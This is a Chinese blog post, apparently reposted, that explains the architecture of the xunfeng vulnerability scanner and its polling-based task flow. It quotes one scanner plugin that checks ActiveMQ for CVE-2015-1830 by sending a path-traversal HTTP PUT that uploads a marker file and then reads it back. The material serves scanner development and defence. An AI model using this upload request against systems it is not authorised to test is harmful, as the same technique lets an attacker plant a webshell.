漏扫是如何做的?——从xunfeng源码看漏扫原理
来自:https://blog.csdn.net/sojrs_sec/article/details/103368463,后面我会加单独的的分析。
以前搭建过好几次xunfeng,也看过几次他的源码,最近团队准备做巡风的二次开发,就要再好好看下他的源码了,我们知道巡风主要有两个功能,资产发现和漏洞扫描,我主要负责漏洞扫描这块,就先简单记录下这块的大致流程
一:看源码tip
看源码,第一步看他的启动程序,可以看run.sh,巡风的启动程序主要就五块
mongodb启动:这里mongodb可以直接用二进制文件启动,导入导出,默认启动在本地的65521端口
web.py启动:flask启动网页
Nascan: 资产扫描
Vulscan:漏洞扫描
Aider:辅助模块,还不了解
二: vulscan流程
就上个我看源码的时候画的图吧
总的来说,其实巡风源码还是很简单的,过程看上图就可以,就讲下我自己对巡风的感觉
1: 巡风的资产扫描和漏洞扫描都是基于数据库中特定字段的改变,会有心跳线程,就是上面的monitor(),不断的去检查数据库中字段。用户在页面上的操作,都是先改变数据库内容而已。所以比如开启某个漏扫任务,可能没法马上开始
2: 从数据库字段中可以看到,原来团队应该打算跟定时周期扫描资产一样,做一个定时周期扫描漏洞的功能,在页面上没有这个功能,接下来我这边会加一下这个功能
想想好像源码也没啥好说的。。还是比较简单的
---------------------------------------------
看看源码vuldb,
xunfeng/vulscan/vuldb/activemq_upload.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | # coding:utf-8 import socket import time import urllib2 import random def get_plugin_info(): plugin_info = { "name" : "ActiveMQ unauthenticated RCE" , "info" : "CVE-2015-1830,攻击者通过此漏洞可直接上传webshell,进而入侵控制服务器。" , "level" : "紧急" , "type" : "任意文件上传" , "author" : "wolf@YSRC" , "url" : "http://cve.scap.org.cn/CVE-2015-1830.html" , "keyword" : "title:ActiveMQ" , "source" : 1 } return plugin_info def random_str( len ): str1 = "" for i in range ( len ): str1 + = (random.choice( "ABCDEFGH1234567890" )) return str1 def check(ip, port, timeout): try : socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) filename = random_str( 6 ) flag = "PUT /fileserver/sex../../..\\styles/%s.txt HTTP/1.0\r\nContent-Length: 9\r\n\r\nxxscan0\r\n\r\n" % (filename) s.send(flag) time.sleep( 1 ) s.recv( 1024 ) s.close() url = 'http://' + ip + ":" + str (port) + '/styles/%s.txt' % (filename) res_html = urllib2.urlopen(url, timeout = timeout).read( 1024 ) if 'xxscan0' in res_html: return u "存在任意文件上传漏洞," + url except : pass |
可以看到和IPS签名匹配是一样的。再看几个:TODO,网太渣了。。。
标签:
安全分析
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」